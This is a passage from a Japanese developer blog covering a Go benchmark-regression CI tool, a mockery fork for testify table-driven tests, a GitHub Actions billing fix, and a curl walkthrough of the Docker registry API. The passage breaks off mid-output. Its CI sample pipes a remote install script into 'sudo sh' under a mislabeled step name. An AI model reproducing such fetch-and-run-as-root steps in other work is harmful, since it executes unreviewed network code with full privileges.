knqyf263's blog

自分のためのメモとして残しておくためのブログ。

コミット前後でベンチマークが悪化していたらテストを落とすGoのCI用ツール

本当にただこれがやりたかっただけです。今でも既存のものがあるだろうと思っているのですが、誰も教えてくれなかったのでシュッと作りました。落ち込まないので今からでも教えてくれて良いです!

概要

上のツイートにある通りなのですが、Goだとベンチマークを計測するツールがデフォルトでgo testに同梱されているので、GitHubとかにコミットされたらそのコミットと一つ前のコミットでベンチマークのスコアを比較して、悪くなっていたら教えて欲しかっただけです。シェルスクリプトで数行で出来るようなレベルですし、ちょっとオプションつけたり表示をリッチにしても200行ぐらいで済みそうだったのでGoでツールを作りました。ブログ執筆時点だと260行でした。

f:id:knqyf263:20200114005936p:plain:w300

github.com

実際、あまりにも簡易的なツール過ぎてGoのコードよりインストールスクリプトのほうが行数が長く、GitHub上でShellScriptのリポジトリとして認識されてしまいました。テストを足してかさ増ししたりもしたのですが、最終的には.gitattributesを足してちょろまかしました。

使い方

基本的にはCI上で使うことを想定しています。内部でgit reset相当のことをしているので、ローカルで実行する場合は注意して下さい。 もしコードが消えても責任は取れないです。というか自分が開発中に間違って自分のリポジトリ上で実行してコードが消え去りました。内部でgo-gitを使っているのですが、こいつのresetはuntrackedなやつも消されるみたいです。まだgit addすらしてないから大丈夫だろうと油断していて完全にやられました。シンプルにコードを失いました。そもそもgo-gitのこの挙動がアレだと思うので直したい気持ちもあります。

とりあえず実行するならベンチマークのあるプロジェクトのディレクトリに行って以下のように打つだけです。これで勝手にHEADとHEAD{@1}のベンチマークを比較します。

$ cob ./...

メモリとかも計測したい場合は-benchmemつければよいです。使い方はgo testと同じです。go testのうちベンチマークに関係ありそうで自分が欲しかったオプションだけ取り込んでいます。-bench-benchmem-benchtimeはそのままgo testに渡されます。

$ cob -benchmem ./...

結果は以下のようになります。上のテーブルは単純にHEADとHEAD{@1}の値が並んでいます。下のテーブルはそれがどのぐらい変化したかを表示しています。赤は悪化で青は改善を示します。

f:id:knqyf263:20200113043030p:plain

デフォルトではベンチマークが20%以上悪化するとプログラムがエラーを返します。つまりCI上で実行するとテストが落ちます。ただ元々の値が小さい場合は変化が大きく出てしまうので、同じベンチマークを実行しても20%を超える場合があります。そういう場合は-threshold を変えたり -benchtime 10s など大きくして値が安定するようにすると良いです。

$ cob -benchtime 10s -threshold 0.5 ./...

ベンチマークの関数ごとに閾値を決められると良いかもなとは思っているのですが、-benchの正規表現指定とパッケージ指定とか工夫でなんとか出来る気がしたのでやめました。上に書いたように簡易的なツールなので機能は殆ど無いです。

$ cob -bench BenchAppend -threshold ./foo

上のような感じですね。BenchAppendという文字列を含むfooパッケージ内のベンチマークだけ実行されます。-benchgo testに渡してるだけなので、正規表現も使えます。

あと、パッケージが違えば同じベンチマークの関数名が定義できますが、それも対応してないです。同じ名前がある場合はうまく結果が表示されないのでパッケージ名を指定して2回実行して下さい。

$ cob ./foo
$ cob ./bar

オプションもあまりないです。

NAME:
   cob - Continuous Benchmark for Go Project

USAGE:
   cob [global options] command [command options] [arguments...]

COMMANDS:
   help, h  Shows a list of commands or help for one command

GLOBAL OPTIONS:
   --only-degression  Show only benchmarks with worse score (default: false)
   --threshold value  The program fails if the benchmark gets worse than the threshold (default: 0.1)
   --bench value      Run only those benchmarks matching a regular expression. (default: ".")
   --benchmem         Print memory allocation statistics for benchmarks. (default: false)
   --benchtime value  Run enough iterations of each benchmark to take t, specified as a time.Duration (for example, -benchtime 1h30s). (default: "1s")
   --help, -h         show help (default: false)

結果をコミットIDと保存しておいて比較すれば2回実行しなくても済むかなと思ったのですが、CI環境だと起動される度に微妙に環境が違ったりしてそっちの要因でベンチマークのスコアが変わったら嫌だなと思って今のところやっていません。その辺り、何か良い知見をお持ちの方がいらっしゃれば助けてほしいです。

CI

CIで使う場合のサンプルを置いておきます。ここではGitHub Actionsだけ置いておきますが、他の例や実際の出力を見たい場合はcob-exampleを見て下さい。

name: Bench
on: [push, pull_request]
jobs:
  test:
    name: Bench
    runs-on: ubuntu-latest
    steps:

    - name: Set up Go 1.13
      uses: actions/setup-go@v1
      with:
        go-version: 1.13
      id: go

    - name: Check out code into the Go module directory
      uses: actions/checkout@v1

    - name: Install GolangCI-Lint
      run: curl -sfL https://raw.githubusercontent.com/knqyf263/cob/master/install.sh | sudo sh -s -- -b /usr/local/bin

    - name: Run Benchmark
      run: cob -benchmem ./...

まとめ

みんな黙ってるだけでやっぱりこういうツールあるんじゃないかと疑っています。でも自分の要件はこれぐらいなので、必要最小限という意味では自作して良かったかもしれません。自分の環境以外でちゃんと動くかも分かりません。もしこういうの欲しくて困っていた人はフィードバック頂ければもう少し真面目にメンテナンスします。

stretchr/testify/mockでTable Driven Testしやすいようにmockeryを拡張した

アドベントカレンダー用に書こうと思っていたのですが乗り遅れました。あとあんまり大衆向けの話でもないのでひっそりと公開しておきます。

良いやり方を調べても見つからない時は自分の思いつく最良の方法を公開すると誰か凄い人がやってきてより良いやり方を教えてくれたりするので、今回もそれを期待しています。

課題

stretchr/testifyにはテストするために使える便利なパッケージが複数含まれていますが、その中にmockがあります。
https://github.com/stretchr/testify

これを使うと指定した引数に対する戻り値を簡単に定義できます。例えば会社名入れたら会社情報を返してくれるstructのmockに対する引数と戻り値は以下のように書けます。

mockCompany.On("Info", "FooCompany").Return("101-0001", "東京都千代田区", "03-3000-0000", "2000")

上の場合だとinterfaceは以下のような感じです

type Company interface {
    Info(string) (string, string, string, int)
}

思いつきで作ったので、このInterfaceなんなんみたいなのは置いておいて下さい。

ちなみにmockはこれ以外にもCallで関数呼び出したりとか、色々な機能があるので普段テストでそれらを使う機会の方が多い人はここで記事を閉じてもらったほうが良さそうです。自分もCallTimesたまに使うのですが、多くのケースでは上のシンプルな使い方で十分な場合が多いです。なので、今回は上のmock.On().Return()の形に絞った話になります。

テスト用のstructを用意する

これをTable Driven Testで使おうとすると、テストケース内で上の引数・戻り値を定義したくなります。そしてその時に専用のstructがあると便利です。MockCompanyは先に作っておく必要がありますが、それはググればたくさん使い方出るので省略します。MockCompanyは作成済みということで進めます。

// mockが受け取る引数
type InfoArgs struct {
    CompanyName string
}

// mockが返す戻り値
type InfoReturns struct {
    Zip      string
    Address  string
    Phone    string
    Employee int
}

// 上の2つをまとめたstruct
type InfoExpectation struct {
    Args    InfoArgs
    Returns InfoReturns
}

こんな感じでstructを定義しておけば、テストケースを定義する時に綺麗に書けます。補完も効くしサクサク書けて気持ち良いです。意味的にも分かりやすいです(個人的には)。

testCases = []struct {
    name string
    info InfoExpectation
}{
    {
        name: "happy path",
        info: InfoExpectation{
            Args: InfoArgs{
                CompanyName: "FooCompany",
            },
            Returns: InfoReturns{
                Zip:      "101-0001",
                Address:  "東京都千代田区",
                Phone:    "03-3000-0000",
                Employee: 2000,
            },
        },
    },
}

あとはこれをfor文の中でOnとReturnに渡せばよいです。

for _, tc := range testCases {
    t.Run(tc.name, func(t *testing.T) {
        mockCompany := new(MockCompany)
        mockCompany.On("Info", tc.info.Args.CompanyName).Return(tc.info.Returns.Zip,
            tc.info.Returns.Address, tc.info.Returns.Phone, tc.info.Returns.Employee)
        ...

これで複数のテストケースでも対応できて便利なのですが、問題は上のstruct達をいちいち作るのがだるすぎるということです。導入が若干長くなりましたがこれが自分の課題でした。

Sliceを使ってみる

Onはinterfaceを渡せるので、以下のような方法も考えたりしました。

type InfoExpectation struct {
    Args    []interface{}
    Returns []interface{}
}

func TestCompany_Info() {
    testCases = []struct {
        name string
        info InfoExpectation
    }{
        {
            name: "happy path",
            info: InfoExpectation{
                Args:    []interface{}{"FooCompany"},
                Returns: []interface{}{"101-0001", "東京都千代田区", "03-3000-0000", 2000},
            },
        },
    }
    for _, tc := range testCases {
        t.Run(tc.name, func(t *testing.T) {
            mockCompany := new(MockCompany)
            mockCompany.On("Info", tc.info.Args...).Return(tc.info.Returns...)
        })
    }
}

[]interface{}で全部受け取れるようにしてOnとReturnに渡す方法です。試した時のコード消しちゃったので上ので動くかわかりませんがイメージが伝わればよいです。これを試してみて思ったのは、何番目が何の値とか覚えてられないです。例えば住所と電話番号逆にしてもすぐには気づけないですし、型も分からないので郵便番号ってstringだったっけ...?みたいになって辛いです。あとintやstringなどのプリミティブ型だけでなく別のstructを渡したい時も不便です。

mapを使ってみる

せめて名前ぐらいは知りたいということでmapにしてみたりもしました。

func TestCompany_Info() {
    testCases = []struct {
        name string
        info InfoExpectation
    }{
        {
            name: "happy path",
            info: InfoExpectation{
                Args: map[string]interface{}{
                    "CompanyName": "FooCompany",
                },
                Returns: map[string]interface{}{
                    "Zip":      "101-0001",
                    "Address":  "東京都千代田区",
                    "Phone":    "03-3000-0000",
                    "Employee": 2000,
                },
            },
        },
    }
    ...
}

ですが、これも結局keyがただの文字列なのでtypoとかすると終了します。補完も効かないので自分で名前を調べて打つ必要があって人類がやるべきことではないなと感じました。

などと考えると一番最初のように専用のstructがある方が補完も出来るし名前付いてるから分かりやすいし一番良いなーとなりました。もし他に良い方法をご存じの方は可及的速やかに教えていただきたいです。

stretchr/testify は有名なツールだし他のOSSで既に同じことやってるだろうと思って調べたのですが、意外とみんなTable Driven Testしてませんでした。特にmockとか使うようなテストは割と手続き的に書いてました。自分が見つけられなかっただけで良い方法で解決してるOSSがあればどなたか教えて下さい。

Goの流儀に則るならやはりコード生成だろう、ということでstructを自動生成することにしました。

ツール

上のようなstructを作ってくれるツールを探したのですが見つけられませんでした。なので作りました。既存のvektra/mockeryというinterfaceを見つけてMockを作ってくれるツールがあったので、それをforkして作りました。
https://github.com/knqyf263/mockery

upstreamにパッチ送らないのかという話がありますが、残念ながらメンテナンスが止まっているようです。
https://github.com/vektra/mockery/issues/237

ソースコードを読んだのですが難しいことはしていなかったですし、自分で使う範囲なら十分メンテナンスしていけそうだったのでforkすることにしました。特に他の人に使ってもらおうと思って作っておらず、自分の使う範囲で動くように拡張しています。なのでオプション次第では動かないかもしれません。ただupstrean自体が既にバグあったりしてfork内で直したりもしました。

2時間ぐらいで作ったので全く動作保証はできないです。追加したかった機能とは別のupstreamのバグの調査に時間かかったのでもう満足してしまいました。

では実際に使ってみます。オプションの意味はヘルプを見てもらえればと思いますが、以下のように打つとサブディレクトリも含めinterfaceを探してきて同じパッケージ内にMockを作ります。

$ mockery -all -inpkg -case=snake

本家mockeryは以下のようなMockを生成します。

// MockCompany is an autogenerated mock type for the Company type
type MockCompany struct {
    mock.Mock
}

// Info provides a mock function with given fields: _a0
func (_m *MockCompany) Info(_a0 string) (string, string, string, int) {
    ret := _m.Called(_a0)
    ...
}

自分が拡張した方のmockeryを使うと、上のMockに加えてテストで使うときのためのstruct達が生成されます。また、interfaceの引数や戻り値に名前つけておかないと_a0とかになっちゃうので、付けておくのがおすすめです。じゃないと実質名前付きじゃなくなっちゃってこの拡張があんまり意味なくなると思います。

interfaceの引数と戻り値に名前つけると以下のようになります。

type Company interface {
    Info(name string) (zip, address, phone, string, employee int)
}

以下のようなstructになります。

type InfoArgs struct {
    Name         string
    NameAnything bool
}

type InfoReturns struct {
    Zip      string
    Address  string
    Phone    string
    Employee int
}

type InfoExpectation struct {
    Args    InfoArgs
    Returns InfoReturns
}

Name だけじゃなくて NameAnything があるのは、Mockしたいけど引数は何でも良い場合とかがあるので、その場合に NameAnything をtrueにしておくとMockには mock.Anything を渡してくれます。 mock.Anything がただのstringなので、 Employee: mock.Anything みたいに渡すことができず苦肉の策でこうしています。これに関しては何か他に良いやり方ありそう。

そして同時にApplyする側のメソッドも生成します。

func (_m *MockCompany) ApplyInfoExpectation(e InfoExpectation) {
    var args []interface{}
    if e.Args.NameAnything {
        args = append(args, mock.Anything)
    } else {
        args = append(args, e.Args.Name)
    }
    _m.On("Info", args...).Return(e.Returns.Zip, e.Returns.Address, e.Returns.Phone, e.Returns.Employee)
}

テストから呼び出す時は、これを単に呼び出せばよいです。OnとかReturnとかテストに書かなくても良いのですっきりします。

for _, tc := range testCases {
    t.Run(tc.name, func(t *testing.T) {
        mockCompany := new(MockCompany)
        mockCompany.ApplyInfoExpectation(tc.info)
        ...

簡単に引数・戻り値を定義できるしApplyも簡単だし最高ですね(個人の感想)。ちなみに自分は全然違う命名をしてたのですが、英語の得意な同僚が上のような命名をしているのを見てそっと変えました。

定義の部分で文字数が少し増えてしまうのが気にはなっているものの、補完されるし書く分にはあまり困らないです。どちらかと言うと読む時に文字が詰まって見えることがあるのでそれは何とかしたい気持ちがあります。ただきちんと説明されているという意味では初めて見る時には今のほうが良いかもしれないし悩みどころです。

余談

vektra/mockeryはメンテナンスが止まっているため、stretchr/testifyからgomockに移行するという人も結構いるみたいです。ただ個人的にはtestify/mockの方が使いやすくて好きなので現時点ではこっちで良いかなと思っています。数カ月後にどうなるかはわかりませんそもそも大体必要な機能は揃っているのでこれからどんどん破壊的変更が入るかと言うとそうではないような気がしますし、Kubernetesなども使っているのでとりあえずは大丈夫かなと楽観視しています。 https://github.com/kubernetes/kubernetes/blob/7f23a743e8c23ac6489340bbb34fa6f1d392db9d/pkg/kubelet/eviction/mock_threshold_notifier_test.go#L20

自分はあまりMock自体が好きじゃないので本当に必要になるまでは使わないのですが、最近は大人の事情で必要になってしまったので使っています。

まとめ

Mockに与える引数と戻り値を簡単に定義できるstructと適用するためのメソッドを自動生成できるように既存ツールを拡張しました。このツールを使ってほしいと言うよりは、みんなどうしてるんだろう、という議論の種になれば良いなという気持ちです。実は同じ問題を抱えてた人が多かったりしたら真面目にmockeryの拡張部分のテスト書いたりして整備しようと思います。

あと今回の件もそうなのですが、入門記事みたいなのは結構出てくるけどプロダクトで実際にどうやって使うのみたいなので困ることが結構多い気がします。GitHubを漁って実際の使われ方を探すものの意外と出てこなかったりするので、そういうのに使ってる時間が結構長くて辛いです。

GitHub Actionsで支払いのエラーが出る場合

個人のリポジトリGitHub Actionsを使おうとしたら「Workflows can't be executed on this repository. Please check your payment method or billing status.」と出て使えませんでした。GitHub ActionsはFreeで使えるはずなのに何だろうとは思いつつ、未だにFreeユーザだし仕方ないかと諦めていました。ただやっぱり少しテストしたいときとかに不便過ぎる気持ちになったので直し方を調べました。細かい話ですが他にも困っている人がいそうなので一応書いておきます。

以下のページに行ってBillingの詳細を見ます。 https://github.com/settings/billing

すると以下のようにエラーが出ていることに気づきます。 f:id:knqyf263:20200112045420p:plain

元々学生プランにしていたからなのか理由はよくわかっていませんが、一度も有料ユーザになったことがないので登録していたクレジットカードの有効期限が切れたとかが原因ではなさそうです。このエラーが出たままだと動かないようなので、"update your payment method"を押してクレジットカードの情報を入力します。

f:id:knqyf263:20200112050157p:plain

入力後もやはりFreeのままなのですがエラーは消え、GitHub Actionsも動くようになりました。Freeユーザなのでクレジットカードの入力をせずにエラーを消す方法を探したのですが見つけられませんでした。

GitHub Proについて

そもそも有料ユーザになれば良いじゃないかという話なのですが、数年前までOSSとかにあまり縁がなかったので特に有料ユーザになりたいタイミングがありませんでした。しかし最近はOpen Source Engineerという肩書になったし良い機会かなと思ったのですが、基本全部publicリポジトリなのでやはりメリットが感じられず。応援の意味でも良いのですが今はMicrosoftがいるし...などと思ってしまっています。どうでも良いですが自分は日本の漫画業界を応援しているのであまり読まない雑誌も含め片っ端から定期購読しています。スピリッツはお願いなので早く定期購読を始めて下さい。Kindleでいちいち買うのは大変なのです。 GitHub Proはこんなメリットがあるからなったほうが良いぞ!というのがあれば教えて貰えると助かります。

curlでdocker pullをする

コンテナレジストリからイメージをpullする時にcurlで行えたら便利なのになと思うことが誰しもあると思います。自分は2ヶ月に1回ぐらいそういう時がやってくるのですが、大体やり方を忘れていて非常に時間を無駄にしていることに気づいてしまったのでメモを残しておきます。

コマンド

このあと細かく説明を書いていますが、自分で備忘録的に見返すことが多いのでコマンドだけ先に書いておきます。以下はalpine:3.10を操作する例です。

Bearerトークン取得

$ export TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull" | jq -r '.token')

マニフェストファイル取得

上のBearerトークン取得後に以下を実行。v2のスキーマが欲しい場合はAcceptヘッダが重要。

$ curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10

Configファイル取得

historyとか色々載ってるやつ

$ export IMAGE_ID=$(curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 | jq -r .config.digest)
$ curl -L -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$IMAGE_ID

Layer取得

以下は1つめのLayerをダウンロードする例

$ export LAYER_ID=$(curl -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10 | jq -r '.layers[0].digest')
$ curl -L -o layer.tar.gz -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/blobs/$LAYER_ID

Docker Registry v2

とりあえず挙動を確認したいことが多いので、Docker Hubでのやり方だけ書いておきます。気が向いたら他のレジストリも書くかもしれません。

Docker Registry v2の認証の仕組みは以下に書いてあります。

docs.docker.com

上の図をふわっと要約すると以下のような流れです

  1. まずレジストリにpush/pullを試みます
  2. レジストリが認可を必要とする場合は、認証の方法とともに401を返してきます
  3. Bearerトークンを得るために指定された認可サービスに対してリクエストを送ります
  4. 認可サービスはBearerトークンを返します
  5. そのBearerトークンをAuthorizationヘッダに埋め込んで再度レジストリにリクエストを送ります
  6. レジストリはBearerトークンを見て検証を行い、push/pullを開始します

ということでやってみます。仕様の解説をしたいわけではないので説明とかオプションとかはちょくちょく省いてます。単にcurlを使ってdocker pullしてみるという話です。

レジストリへのpush/pull

レジストリにある各イメージはマニフェストファイルというものを持っているので、それをダウンロードしてみます。 以下ではalpine:3.10のイメージに対して操作を行います。他のイメージの場合も流れは基本同じです。公式イメージであればalpineの部分を他のイメージ名に差し替えればよいですし、独自のイメージであればlibrary/alpineの部分をorg_name/image_nameに差し替えて下さい。

$ curl -v https://registry-1.docker.io/v2/library/alpine/manifests/3.10

レジストリが401を返す

上のコマンドを打つと以下のようなレスポンスが返ってきます

< HTTP/1.1 401 Unauthorized
< Content-Type: application/json
< Docker-Distribution-Api-Version: registry/2.0
< Www-Authenticate: Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/alpine:pull"
< Date: Thu, 28 Nov 2019 18:31:35 GMT
< Content-Length: 157
< Strict-Transport-Security: max-age=31536000
<
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"repository","Class":"","Name":"library/alpine","Action":"pull"}]}]}

このように401エラーが返ってきていることが分かります。ヘッダを見ると以下のようなWww-Authenticateヘッダが含まれています。

Www-Authenticate: Bearer realm="https://auth.docker.io/token",service="registry.docker.io",scope="repository:library/alpine:pull"

https://auth.docker.io/token にserviceとscopeを指定してリクエストしろということみたいです。

認可サービスに対してBearerトークンを要求

service="registry.docker.io",scope="repository:library/alpine:pull"を付けろという話だったので、GETのクエリパラメータとして追加し、auth.docker.io にリクエストを投げます。この際、alpineはパブリックイメージなので特に認証は不要です。プライベートイメージを操作したい場合はユーザIDとパスワードをBasic認証する必要があるので、 -u $USER:$PASS が必要です。他にもOAuth2でも認証可能みたいですが自分はやったことはないです。

$ curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull"

認可サービスがBearerトークンを返却

$ curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull" | jq .
{
  "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1YyI6WyJNSUlDK2pDQ0FwK2dBd0lCQWdJQkFEQUtCZ2dxaGtqT1BRUURBakJHTVVRd1FnWURWUVFERXpzeVYwNVpPbFZMUzFJNlJFMUVVanBTU1U5Rk9reEhOa0U2UTFWWVZEcE5SbFZNT2tZelNFVTZOVkF5VlRwTFNqTkdPa05CTmxrNlNrbEVVVEFlRncweE9UQXhNVEl3TURJeU5EVmFGdzB5TURBeE1USXdNREl5TkRWYU1FWXhSREJDQmdOVkJBTVRPMUpMTkZNNlMwRkxVVHBEV0RWRk9rRTJSMVE2VTBwTVR6cFFNbEpMT2tOWlZVUTZTMEpEU0RwWFNVeE1Pa3hUU2xrNldscFFVVHBaVWxsRU1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcjY2bXkveXpHN21VUzF3eFQ3dFplS2pqRzcvNnBwZFNMY3JCcko5VytwcndzMGtIUDVwUHRkMUpkcFdEWU1OZWdqQXhpUWtRUUNvd25IUnN2ODVUalBUdE5wUkdKVTRkeHJkeXBvWGc4TVhYUEUzL2lRbHhPS2VNU0prNlRKbG5wNGFtWVBHQlhuQXRoQzJtTlR5ak1zdFh2ZmNWN3VFYWpRcnlOVUcyUVdXQ1k1Ujl0a2k5ZG54Z3dCSEF6bG8wTzJCczFmcm5JbmJxaCtic3ZSZ1FxU3BrMWhxYnhSU3AyRlNrL2tBL1gyeUFxZzJQSUJxWFFMaTVQQ3krWERYZElJczV6VG9ZbWJUK0pmbnZaMzRLcG5mSkpNalpIRW4xUVJtQldOZXJZcVdtNVhkQVhUMUJrQU9aditMNFVwSTk3NFZFZ2ppY1JINVdBeWV4b1BFclRRSURBUUFCbzRHeU1JR3ZNQTRHQTFVZER3RUIvd1FFQXdJSGdEQVBCZ05WSFNVRUNEQUdCZ1JWSFNVQU1FUUdBMVVkRGdROUJEdFNTelJUT2t0QlMxRTZRMWcxUlRwQk5rZFVPbE5LVEU4NlVESlNTenBEV1ZWRU9rdENRMGc2VjBsTVREcE1VMHBaT2xwYVVGRTZXVkpaUkRCR0JnTlZIU01FUHpBOWdEc3lWMDVaT2xWTFMxSTZSRTFFVWpwU1NVOUZPa3hITmtFNlExVllWRHBOUmxWTU9rWXpTRVU2TlZBeVZUcExTak5HT2tOQk5sazZTa2xFVVRBS0JnZ3Foa2pPUFFRREFnTkpBREJHQWlFQXFOSXEwMFdZTmM5Z2tDZGdSUzRSWUhtNTRZcDBTa05Rd2lyMm5hSWtGd3dDSVFEMjlYdUl5TmpTa1cvWmpQaFlWWFB6QW9TNFVkRXNvUUhyUVZHMDd1N3ZsUT09Il19.eyJhY2Nlc3MiOlt7InR5cGUiOiJyZXBvc2l0b3J5IiwibmFtZSI6ImxpYnJhcnkvYWxwaW5lIiwiYWN0aW9ucyI6WyJwdWxsIl19XSwiYXVkIjoicmVnaXN0cnkuZG9ja2VyLmlvIiwiZXhwIjoxNTc0OTY5MTI4LCJpYXQiOjE1NzQ5Njg4MjgsImlzcyI6ImF1dGguZG9ja2VyLmlvIiwianRpIjoiNXRlVzl6bktuby1CR3Vad1c1aTYiLCJuYmYiOjE1NzQ5Njg1MjgsInN1YiI6IiJ9.rjvWkJSKgw9f6_-kE4kcsYHDUEwVvIE-FeBkdDSG9ExBtYp9YK5hKIsOSlIEfGzsLFgWpEXtRV4h4FwP0jQ6BDCVHKvyQdhtnSm4Ad3BIcMFX87DgnGbYfboOzo9INpeCsMa8Hy44VH_4RbtdBVb7MYN1pFMN8za3cNYt-AF0YWsp7L86HWzJ4-Tp4-WS0JXT3fvQlevoYVrWNr7Nrl15aVx16_RT9S4Vhmrbc30vrNHzwOh9vEk6VLvxZiro8RiGdPgnXWMsplmTZNTkHygT5N8MEBcyEJNsvWKLcbPtEU5lk4ZMTRoyVKeIT8LyNXAWu_KATTIXXl1hHrENEcBsw",
  "access_token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsIng1YyI6WyJNSUlDK2pDQ0FwK2dBd0lCQWdJQkFEQUtCZ2dxaGtqT1BRUURBakJHTVVRd1FnWURWUVFERXpzeVYwNVpPbFZMUzFJNlJFMUVVanBTU1U5Rk9reEhOa0U2UTFWWVZEcE5SbFZNT2tZelNFVTZOVkF5VlRwTFNqTkdPa05CTmxrNlNrbEVVVEFlRncweE9UQXhNVEl3TURJeU5EVmFGdzB5TURBeE1USXdNREl5TkRWYU1FWXhSREJDQmdOVkJBTVRPMUpMTkZNNlMwRkxVVHBEV0RWRk9rRTJSMVE2VTBwTVR6cFFNbEpMT2tOWlZVUTZTMEpEU0RwWFNVeE1Pa3hUU2xrNldscFFVVHBaVWxsRU1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBcjY2bXkveXpHN21VUzF3eFQ3dFplS2pqRzcvNnBwZFNMY3JCcko5VytwcndzMGtIUDVwUHRkMUpkcFdEWU1OZWdqQXhpUWtRUUNvd25IUnN2ODVUalBUdE5wUkdKVTRkeHJkeXBvWGc4TVhYUEUzL2lRbHhPS2VNU0prNlRKbG5wNGFtWVBHQlhuQXRoQzJtTlR5ak1zdFh2ZmNWN3VFYWpRcnlOVUcyUVdXQ1k1Ujl0a2k5ZG54Z3dCSEF6bG8wTzJCczFmcm5JbmJxaCtic3ZSZ1FxU3BrMWhxYnhSU3AyRlNrL2tBL1gyeUFxZzJQSUJxWFFMaTVQQ3krWERYZElJczV6VG9ZbWJUK0pmbnZaMzRLcG5mSkpNalpIRW4xUVJtQldOZXJZcVdtNVhkQVhUMUJrQU9aditMNFVwSTk3NFZFZ2ppY1JINVdBeWV4b1BFclRRSURBUUFCbzRHeU1JR3ZNQTRHQTFVZER3RUIvd1FFQXdJSGdEQVBCZ05WSFNVRUNEQUdCZ1JWSFNVQU1FUUdBMVVkRGdROUJEdFNTelJUT2t0QlMxRTZRMWcxUlRwQk5rZFVPbE5LVEU4NlVESlNTenBEV1ZWRU9rdENRMGc2VjBsTVREcE1VMHBaT2xwYVVGRTZXVkpaUkRCR0JnTlZIU01FUHpBOWdEc3lWMDVaT2xWTFMxSTZSRTFFVWpwU1NVOUZPa3hITmtFNlExVllWRHBOUmxWTU9rWXpTRVU2TlZBeVZUcExTak5HT2tOQk5sazZTa2xFVVRBS0JnZ3Foa2pPUFFRREFnTkpBREJHQWlFQXFOSXEwMFdZTmM5Z2tDZGdSUzRSWUhtNTRZcDBTa05Rd2lyMm5hSWtGd3dDSVFEMjlYdUl5TmpTa1cvWmpQaFlWWFB6QW9TNFVkRXNvUUhyUVZHMDd1N3ZsUT09Il19.eyJhY2Nlc3MiOlt7InR5cGUiOiJyZXBvc2l0b3J5IiwibmFtZSI6ImxpYnJhcnkvYWxwaW5lIiwiYWN0aW9ucyI6WyJwdWxsIl19XSwiYXVkIjoicmVnaXN0cnkuZG9ja2VyLmlvIiwiZXhwIjoxNTc0OTY5MTI4LCJpYXQiOjE1NzQ5Njg4MjgsImlzcyI6ImF1dGguZG9ja2VyLmlvIiwianRpIjoiNXRlVzl6bktuby1CR3Vad1c1aTYiLCJuYmYiOjE1NzQ5Njg1MjgsInN1YiI6IiJ9.rjvWkJSKgw9f6_-kE4kcsYHDUEwVvIE-FeBkdDSG9ExBtYp9YK5hKIsOSlIEfGzsLFgWpEXtRV4h4FwP0jQ6BDCVHKvyQdhtnSm4Ad3BIcMFX87DgnGbYfboOzo9INpeCsMa8Hy44VH_4RbtdBVb7MYN1pFMN8za3cNYt-AF0YWsp7L86HWzJ4-Tp4-WS0JXT3fvQlevoYVrWNr7Nrl15aVx16_RT9S4Vhmrbc30vrNHzwOh9vEk6VLvxZiro8RiGdPgnXWMsplmTZNTkHygT5N8MEBcyEJNsvWKLcbPtEU5lk4ZMTRoyVKeIT8LyNXAWu_KATTIXXl1hHrENEcBsw",
  "expires_in": 300,
  "issued_at": "2019-11-28T19:20:28.603403106Z"
}

上記のようなレスポンスを得ます。token, access_token, expires_in, issued_atがありますが、とりあえずtokenがBearerトークンになっているのでこれだけ取っておけば良いです。細かく知りたい人は以下を呼んで下さい。

Token Authentication Specification | Docker Documentation

いちいち手で取得するのも面倒なので、jqを使って環境変数に入れておきます。

$ export TOKEN=$(curl "https://auth.docker.io/token?service=registry.docker.io&scope=repository:library/alpine:pull" | jq -r '.token')

ちなみにBearerトークンのexpires_inは300と書いており5分しか有効ではないため、401が出るようになったら再度上のコマンドを打ってBearerトークンを更新する必要があります。

Bearerトークンを使ってレジストリにリクエストを送信

あとはAuthorizationヘッダに上のBearerトークンを入れるだけです。今度こそマニフェストファイルを取得してみます。

$ curl -H "Authorization: Bearer $TOKEN" https://registry-1.docker.io/v2/library/alpine/manifests/3.10
{
   "schemaVersion": 1,
   "name": "library/alpine",
   "tag": "3.10",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:89d9c30c1d48bac627e5c6cb0d1ed1eec28e7dbdfbcc04712e4c79c0f83faf17"
      }
   ],
   "history": [
      {
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:e8bf85e28fac8a4cd1707985780af20622f0f5de7d6c912ea1dc82a626981cb0\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container\":\"baae288169b1ae2f6bd82e7b605d8eb35a79e846385800e305eccc55b9bd5986\",\"container_config\":{\"Hostname\":\"baae288169b1\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/l